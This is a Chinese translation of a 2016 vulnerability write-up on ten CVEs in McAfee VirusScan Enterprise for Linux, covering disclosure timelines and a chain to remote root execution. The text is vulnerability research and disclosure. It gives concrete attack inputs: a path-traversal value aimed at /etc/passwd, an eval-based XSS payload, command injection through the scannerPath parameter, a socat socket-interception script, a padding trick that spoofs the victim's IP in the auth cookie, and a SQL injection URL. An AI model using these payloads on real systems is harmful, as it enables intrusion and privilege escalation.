记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

McAfee for Linux Vulnerability Writeup

2016-12-16 15:50

概述

McAfeeVirusScan Linux企业版中存在大量的安全漏洞,这些漏洞可能会受到远程攻击者的攻击。另外,其中一些漏洞可以被攻击者结合起来利用(组成漏洞利用链),以root身份执行远程代码。

影响版本

v1.9.2(发布2/19/2015)到v 2.0.2(发布时间4/22/16)版本的产品均受影响,与旧版本的唯一区别是更新到新的版本库,新版本更容易利用这些漏洞。

Timeline

  • 2016年6月23日:漏洞被上报给安全应急响应中心(CERT),漏洞的详细信息将会在8月23日正式对外披露;
  • 2016年7月19日:McAfee要求推迟漏洞披露时间,暂定于9月份,但有可能要推迟到12月份;
  • 2016年9月~2016年11月:McAfee公司没有任何回复;
  • 2016年12月5日:McAfee发布通知说12月12日披露漏洞详情;
  • 2016年12月9日:McAfee发布了安全公告,并为漏洞分配了CVE ID
  • 2016年12月12日:发布漏洞分析报告,并对相应漏洞的细节进行了描述。

简介

从总体来看,英特尔公司的McAfeeVirusScan Linux企业版拥有很多优秀的特性,而这些功能和特性是漏洞研究人员所喜爱的:它能够以root权限运行,它声称可以让你的系统更加安全,它并不是特别的流行,而且它看起来好像已经很久没更新了。当我注意到了这些特性之后,我打算仔细研究一下这款工具。

在对产品漏洞的细节进行分析之前,我们需要对这款产品的系统架构进行了解。

服务

这款产品包含两个单独的服务:其中一个以root权限运行,另一个以非特权用户(nails)运行。扫描程序的主服务以root权限运行,负责监听本地Unixsocket(/var/opt/NAI/LinuxShield/dev/nails_monitor)。Webserver则以nails用户权限运行,负责监听0.0.0:55443。

进程间通信

这个Webserver其实就是一个扫描服务的用户操作界面。当用户像webserver发送请求的时候,系统会重新对请求信息进行格式化,然后请求会被发送至root服务。处理完成之后,用户就可以在一个html网页中看到响应信息了。需要注意的是,这个web接口并不会对用户的输入数据进行限制,所以攻击者也可以向root服务发送恶意数据。

漏洞列表

下面是本文将要讨论的十个漏洞:

  1. CVE-2016-8016:未经验证的远程文件探测漏洞
  2. CVE-2016-8017: 未经验证的文件远程读取漏洞(受限)
  3. CVE-2016-8018: 无跨站请求伪造(CSRF)验证令牌
  4. CVE-2016-8019: 跨站脚本攻击(XSS)
  5. CVE-2016-8020: 远程代码执行&特权提升漏洞(提权)
  6. CVE-2016-8021: Web接口允许在已知地址写入任意文件
  7. CVE-2016-8022: 远程使用身份验证令牌
  8. CVE-2016-8023: 暴力破解身份验证令牌
  9. CVE-2016-8024: HTTP响应拆分
  10. CVE-2016-8025: SQL注入漏洞

如果攻击者将这些漏洞结合起来利用,攻击者将可以root身份执行远程代码。

0x1.CVE-2016-8016:未经验证的远程文件探测漏洞

burp_tasks_html

在对Web接口中的各个部分进行分析时,我们发现了tplt参数重指定了一个html文件的路径,大家可以在上图中看到,tplt参数中设置的是tasks.html。在web服务器上运行strace命令之后,我们可以得到这个被打开的html文件地址为/opt/NAI/LinuxShield/apache/htdocs/0409/tasks.html,具体如下图所示:

strace_open_tasks_html

如果tplt参数设置的是其他的页面,例如..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd(经过URL编码的字符串../../../../../../etc/passwrd),那么此时的响应信息将会是一个包含有错误变量(错误码为14)的页面。JavaScript函数lookupErrorCode会将error14映射为字符串“BadlyFormed Web Template.”。如果tplt变量设置成了一个不存在的相对地址,那么错误变量将会被设置为10,error10对应的则是“connot open file”。

js_bad_template_vs_file

strace_no_file_vs_file

如果系统上存在由给定名称的文件,则两个不同的错误消息可以向未授权的远程用户显示。

这将导致有效的Web模板(例如tasks.html)和无效的模板文件(例如/etc/passwd)之间有什么不同的问题呢?大家可以去思考一下这个问题。

0x2. CVE-2016-8017: 未经验证的文件远程读取漏洞(受限)

在对Webserver所使用的各种模版文件进行了分析之后,我们可以看到有效的模版文件会包含字符串“__REPLACE_THIS__”或者两个标签“[%”和“%]”,并且这两个标签中间还会有一个字符串(任意值)。

如果攻击者可以替换这些字符串,那么攻击者就可以利用webserver来远程读取目标主机中的文件了。不过在利用这个漏洞的过程中,攻击者只能以“nails”用户权限来读取文件。

0x3.CVE-2016-8018: 无跨站请求伪造(CSRF)验证令牌

Web接口中的所有表单都没带有CSRF验证令牌,当经过验证的用户访问了由攻击者控制的外部域名之后,攻击者就可以利用用户的合法信息来提交认证请求了。其实,在一款2016年发布的反病毒产品中看到这样一种最基础的漏洞,着实令人感到惊讶。

0x4.CVE-2016-8019: 跨站脚本攻击(XSS)

当tplt参数设置为NailsConfig.html或MonitorHost.html时,参数info:7和info:5将负责把不受信的用户输入数据以字符串的形式传递给JavaScript函数formatData()。通常情况下,info:7的值是一个字符串列表(例如single,show,serverUtcOffset=-25200)。其中的值将会被保存在一个字符串(单引号扩起来的)中,然后传递给formatData函数。如果参数info:7的值设置成了single’.prototype.constructor=eval(‘alert(“xss”‘))+’,那么eval函数将会在formatData函数被调用之前执行恶意的JavaScript代码。

xss_req

xss_resp

0x5. CVE-2016-8020: 远程代码执行&特权提升漏洞(提权)

在开始对系统进行扫描之前,我们需要填写四个表单。

scan1表单一

scan2表单二scan3表单三

scan4表单四

提交了最后一个表单页面后,系统会向服务器发送大量请求。请求信息的部分参数如下所示:

scan_props2

nailsd.profile.ODS_9.scannerPath变量包含系统所要扫描的路径信息,将它的值修改为“/bin/sh”后,我们将会在web页面中看到下列错误信息:

cmd_inject_err

运行strace命令后我们可以看到,这个参数被一个以root权限运行的进程直接传递给execve函数。

strace_execve

通过修改这个变量的值,经过认证的用户可以通过root用户权限来执行任意代码,攻击者还可以配合其他的XSS或CSRF漏洞来进行攻击。

这个不能轻易地扩展到任意代码执行,因为有多个参数传递需要给二进制。但是,scannerPath变量不是从webserver直接传递给execve的唯一变量; 而一些值是硬编码的,四个完全被攻击者控制的变量导致以下命令:

[scannerPath] –e [enginePath] –D [datPath] –L [engineLibDir] –p 21 –i 2 –I 0

利用这个的一个向量是/bin/sh,它将加载由-e参数指定的shell脚本并执行它。本地用户可以使用此来升级权限,但远程攻击者需要以其他方法将恶意shell脚本放置到系统上。

0x6.CVE-2016-8021: Web接口允许在已知地址写入任意文件

Web界面允许用户指定一台更新服务器,并向这台服务器请求更新。如果远程用户需要向系统写入文件的话,通过这个功能可以实现。

为了解这个更新服务器的工作机制,我在本地克隆了一份McAfee的更新代码库,然后重新设置了服务器,让系统从我的服务器下载更新。

repos

在更新过程中系统会发出两个请求(/SiteStat.xml和/catalog.z)。SiteStat文件是一个标准的XML文件,记录了网站的运行状态和一些基本信息。catelog.z文件貌似是一个McAfeeePolicy Orchestrator文件,文件中大多是一些二进制数据。我之前认为,系统会对更新包进行签名认证,所以我们无法通过向目标系统推送恶意更新来完成攻击。但是,我打算利用这个功能来向目标系统发送一个shell脚本,然后利用之前的一些漏洞来完成攻击。

我们可以从日志文件中了解到具体的更新步骤:下载文件、验证文件完整性、解压缩和完成安装。

downloading_update

因为它不是一个单线程程序,所以我们可以利用这个逻辑让程序下载一个大文件并保存在/opt/McAfee/cma/scratch/update/catalog.z,然后在下载完成之前或者在开始验证之前利用漏洞5来执行我们的恶意脚本。

结合漏洞5和漏洞6,攻击者就可以实现提权了,即从nails用户权限提升为root权限。除此之外,攻击者还可以利用CSRF或XSS来利用这些漏洞实现远程提权。

0x7.CVE-2016-8022: 远程使用身份验证令牌

为了利用XSS和CSRF漏洞,我们需要从目标主机中窃取已认证用户的cookie数据。但是当我在自己的“攻击”设备上使用这些cookie来进行身份验证时,却发现验证失效了:

bad_creds

我在原始设备上再一次对这些令牌进行了验证,所以我认为认证令牌很可能会对用户的IP地址进行限制。这也就使得我们的漏洞利用过程更加困难了,但是我们仍然可以在目标用户的浏览器中使用JavaScript脚本来利用XSS漏洞实施攻击。

当用户通过网站来进行身份验证时,认证消息会通过一个unix-socket发送至root服务。root服务会对认证消息进行验证,然后将验证结果返回给Webserver。为了弄清楚我的cookie到底出了什么问题,我使用了socat来拦截这些socket信息。

下面的脚本重启了nails并拦截socket上的所有通信:

#!/bin/bash 
_restore() {
    mv /var/opt/NAI/LinuxShield/dev/nails_monitor{_real,}
}

echo "Restarting nails"
/etc/init.d/nails restart 2>&1 > /dev/null 

mv /var/opt/NAI/LinuxShield/dev/nails_monitor{,_real} 

echo "Intercepted data:" 

socat -v \
unix-listen:/var/opt/NAI/LinuxShield/dev/nails_monitor,perm=777,fork \
unix-connect:/var/opt/NAI/LinuxShield/dev/nails_monitor_real 

trap _restore SIGTERM

我们可以在拦截下的信息中看到下面这两个请求:

有效请求:

< 2015/07/30 11:14:28.119036  length=70 from=0 to=69
+OK welcome to the NAILS Monitor Service <19224.2214.1438280068.161>\r
> 2015/07/30 11:14:28.119326  length=54 from=0 to=53
auth 2259618965-19224.2214.1438280068.161-2259618965\r
< 2015/07/30 11:14:28.119399  length=31 from=70 to=100
+OK successful authentication\r
> 2015/07/30 11:14:28.137344  length=66 from=54 to=119
cred 127.0.0.1/nails/1438280067/1438279968-checksum//0 127.0.0.1\r
< 2015/07/30 11:14:28.137530  length=20 from=101 to=120
+OK credentials OK\r

无效请求:

< 2015/07/30 11:14:28.119036  length=70 from=0 to=69
+OK welcome to the NAILS Monitor Service <19224.2214.1438280068.161>\r
> 2015/07/30 11:14:28.119326  length=54 from=0 to=53
auth 2259618965-19224.2214.1438280068.161-2259618965\r
< 2015/07/30 11:14:28.119399  length=31 from=70 to=100
+OK successful authentication\r
> 2015/07/30 11:14:28.137344  length=66 from=54 to=119
cred 127.0.0.1/nails/1438280067/1438279968-checksum//0 [ATTACKER IP]\r
< 2015/07/30 11:14:28.137530  length=20 from=101 to=120
+ERR bad credentials\r

用户请求认证时,webserver会将请求者的IP地址和cookie信息打包发送。虽然有点不寻常,但这不是一个可怕的安全决定。

我们的cookie是通过一个基于文本的协议发送的,cookie后面还有一些数据空间和IP地址。但是,如果我们将其中的一个数据域修改为目标用户的IP地址后,系统将无法进行正常的解析。

socket中的原始信息如下:

AUTH [cookie] [ATTACKER IP]

修改后的信息如下:

AUTH [stolen cookie + VICTIM IP               ] [ATTACKER IP]

服务将无法正常解析这一行数据,并且会认为这段cookie数据是从目标用户的IP地址发出的。

完整的通信数据如下:

< 2015/07/30 11:14:28.119036  length=70 from=0 to=69
+OK welcome to the NAILS Monitor Service <19224.2214.1438280068.161>\r
> 2015/07/30 11:14:28.119326  length=54 from=0 to=53
auth 2259618965-19224.2214.1438280068.161-2259618965\r
< 2015/07/30 11:14:28.119399  length=31 from=70 to=100
+OK successful authentication\r
> 2015/07/30 11:14:28.137344  length=66 from=54 to=119
cred 127.0.0.1/nails/1438280067/1438279968-checksum//0 127.0.0.1                      10.0.0.130\r
< 2015/07/30 11:14:28.137530  length=20 from=101 to=120
+OK credentials OK\r

0x8.CVE-2016-8023: 暴力破解身份验证令牌

之前的cookie-parsing逻辑失败后,我想测试其他cookie验证逻辑是如何工作的。

下面给出的是nailsSessionIdcookie的一些样本值,当用户登录或注销nails账号时会自动生成这些值。

127.0.0.1/nails/1459548338/1459548277-checksum//0
127.0.0.1/nails/1459549661/1459549629-checksum//0
127.0.0.1/nails/1459549695/1459549629-checksum//0

在普通的登录过程中,cookie中只有两个部分会发生改变。Cookie格式如下所示:

[host]/[username]/[SECRET1]/[SECRET2]-checksum//[Zero]

正常的数据如下所示:

rehrehyreafhdstr

将时间戳作为[SECRET]变量的值绝对是一个糟糕的想法,因为这个值是可以被暴力破解出来的,但是使用两个时间戳的话会增加攻击的难度。在进行了一些基本的测试之后,我们发现这些数据域可接受的值范围非常的广泛:

45214214552135

这样只需要获取到服务器的启动时间,然后修改下列cookie中的DATE值就可以了:

[Attacker IP]/n/0/[DATE]-checksum//

0x9.CVE-2016-8024: HTTP响应拆分

用户可以在“系统事件”页面中导出所有的日志数据(CSV文件),此时系统会发送一个GET请求。

export_csv

在请求中,有一个参数为info%3A0。这个参数的值通常为multi%2Capplication%2Fvnd.ms-excel。在服务器相应的响应数据中,有一个header为Content-Type:application/vnd.ms-excel。攻击者可以将header中的链接修改为恶意文件。

splitting_req

splitting_resp

0x10.CVE-2016-8025: SQL注入漏洞

此系统使用SQLite数据库来存储有关设置和先前扫描的数据。我查看的这个数据库的每个入口点都容易遭受SQL注入。此应用程序似乎将URL参数转换为SQLite命令,使用在漏洞9的讨论中提到的CSV导出功能,我们就可以通过访问这个URL来导出sqlite_master表(CSV格式)。查询语句“select* from sqlite_master;“被嵌入在嵌入在URL中:

localhost:55443/0409/nails?pg=proxy&tplt=-&addr=127.0.0.1%3A65443&mon%3A0=db+select+_show%3D%24*++_output
%3Dcsv+_table%3Dsqlite_master+&info%3A0=multi%2Capplication%2Fvnd.ms-excel

sql_db

数据库不用于身份验证,仅用于跟踪已扫描的文件和事件日志。在入侵了目标设备之后,攻击者就可以利用SQL注入攻击来修改这些日志,并清除他们的攻击痕迹。

数据库模式如下:

"*"
"31-Dec-1969 16:00:00 (-08:00 UTC)","nailsInfo","nailsInfo","4","create table nailsInfo(attrib varchar(32) not null unique,	-- name of the attribute
                          val varchar(32),			-- string value
			  i_val integer				-- integer value
			 )"
"31-Dec-1969 16:00:00 (-08:00 UTC)","(nailsInfo autoindex 1)","nailsInfo","3",""
"31-Dec-1969 16:00:00 (-08:00 UTC)","counters","counters","5","create table counters(i_lastUpdated integer not null, 	-- time the counters were last updated
			 i_scanned integer not null,		-- Number of objects scanned 
			 i_totalScanCpu integer not null,	-- Total CPU used for scanning (microseconds) 
			 i_excludes integer not null,		-- Number of excluded files 
			 i_ok integer not null,			-- Number of files scanned to be ok 
			 i_infected integer not null,		-- Number of objects that have been infected 
			 i_infections integer not null,		-- Number of of infections 
			 i_cleaned integer not null,		-- Number of objects that have been cleaned 
			 i_cleanAttempts integer not null,	-- Number of objects that have been queued for cleaning 
			 i_cleanRequests integer not null,	-- Number of clean requests from the scan sources 
			 i_repaired integer not null,		-- Number of repairs made 
			 i_possiblyCleaned integer not null,	-- Number of partial repairs made 
			 i_errors integer not null,		-- Number of failed scans not clean and not infected 
			 i_timeouts integer not null,		-- Number of scans that have timed out 
			 i_denied integer not null,		-- Number of process denied access 
			 i_deleted integer not null,		-- Number of cleans that resulted in deleting the file 
			 i_renamed integer not null,		-- Number of cleans that resulted on renaming the file 
			 i_quarantined integer not null,	-- Number of cleans that resulted on quarantining the file 
			 i_corrupted integer not null,		-- Number of corrupted items detected by scanning 
			 i_encrypted integer not null,		-- Number of encrypted items detected by scanning 
			 i_uptime integer not null,		-- Number of seconds since we started 
			 i_wait integer not null,		-- Number of objects waiting to be scanned 
			 i_busy integer not null,		-- Number of objects being scanned 
			 i_adds integer not null,		-- Number of objects that have been added to a queued entry 
			 i_cacheSize integer not null,		-- Number of entries in the cache 
			 i_cacheHits integer not null,		-- Number of cache hits 
			 i_cacheMisses integer not null,	-- Number of cache misses 
			 i_cacheInserts integer not null	-- Number of cache insertions 
			)"
"31-Dec-1969 16:00:00 (-08:00 UTC)","schedule","schedule","9","create table schedule(i_taskId integer primary key,    	-- an auto-increment column
                         taskName varchar(64) not null unique,	-- the name of the task
			 timetable varchar(255) not null,	-- the encoded string of when it runs
			 taskType varchar(16) not null,		-- upgrade, scan, report
			 taskInfo varchar(255),			-- information specific to the task
			 taskResults varchar(255),		-- results of the task
			 i_lastRun integer,			-- time last run
			 status varchar(8),			-- status of last run
			 progress varchar(255),			-- progress string
			 i_duration integer,			-- current duration of the task run
			 i_nextRun integer,			-- time next run
			 i_recurrenceCounter integer,		-- count scheduler invocations by cron
			 i_taskPid integer			-- pid of the task being run
			)"
"31-Dec-1969 16:00:00 (-08:00 UTC)","(schedule autoindex 1)","schedule","8",""
"31-Dec-1969 16:00:00 (-08:00 UTC)","errorClass","errorClass","12","create table errorClass(errorClsNm varchar(16) not null unique)"
"31-Dec-1969 16:00:00 (-08:00 UTC)","(errorClass autoindex 1)","errorClass","11",""
"31-Dec-1969 16:00:00 (-08:00 UTC)","repository","repository","15","create table repository(siteList blob, status int)"
"31-Dec-1969 16:00:00 (-08:00 UTC)","scanLog","scanLog","16","create table scanLog(i_logId integer primary key, 		-- an auto-increment column
			origin varchar(8) not null,		-- access or demand
			i_taskId integer,			-- references schedule.i_taskId
			i_objId integer,			-- an id to relate scan events on the same object
			i_tim integer not null,			-- UTC time it happened
			fileName varchar(255), 
			path varchar(255), 
			action varchar(16),
			virusName varchar(64),
			virusType varchar(16),			-- Unknown, Virus, App, Joke, Killed, Test, Trojan, Wannabee
			userName varchar(32),
			processName varchar(32)
		       )"
"31-Dec-1969 16:00:00 (-08:00 UTC)","eventLog","eventLog","18","create table eventLog(i_logId integer primary key,		-- an auto-increment column
                         origin varchar(8) not null,		-- system or task
			 i_taskId varchar(64),			-- references schedule.i_taskId
			 i_objId integer,			-- an id to relate events on the same object
			 i_tim integer not null,		-- UTC time it happened
			 errorClsNm varchar(16), 		-- references errorClass.errorClsNm
			 i_errorCode integer,			-- the error code
			 errorType varchar(8),			-- info or error
			 description varchar(255)
			)"

0x11.漏洞综合利用:以Root权限实现远程代码执行

要在远程计算机上以root用户身份执行代码,可利用下面的方法:

  1. 利用漏洞7和漏洞8对身份验证令牌进行暴力破解。
  2.  开启恶意更新服务器。
  3. 利用漏洞7向更新服务器发送请求(带有身份验证令牌)。
  4. 利用漏洞6在目标系统中创建并执行恶意脚本。
  5. 利用漏洞5和漏洞6来触发目标主机中的漏洞扫描任务,但实际上执行的是恶意脚本。
  6. 在目标设备中以root权限执行恶意脚本。

利用此漏洞取决于每当用户登录Web界面时生成的有效登录令牌是否存在。 这些令牌在登录后大约一小时内有效。

漏洞PoC

 

*原文:Andrew Fasano MottoIN小编翻译,转载请注明来自MottoIN

未经允许不得转载: » McAfee for Linux Vulnerability Writeup

知识来源: www.mottoin.com/94066.html
想收藏或者和大家分享这篇好文章→复制链接地址

“McAfee for Linux Vulnerability Writeup”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云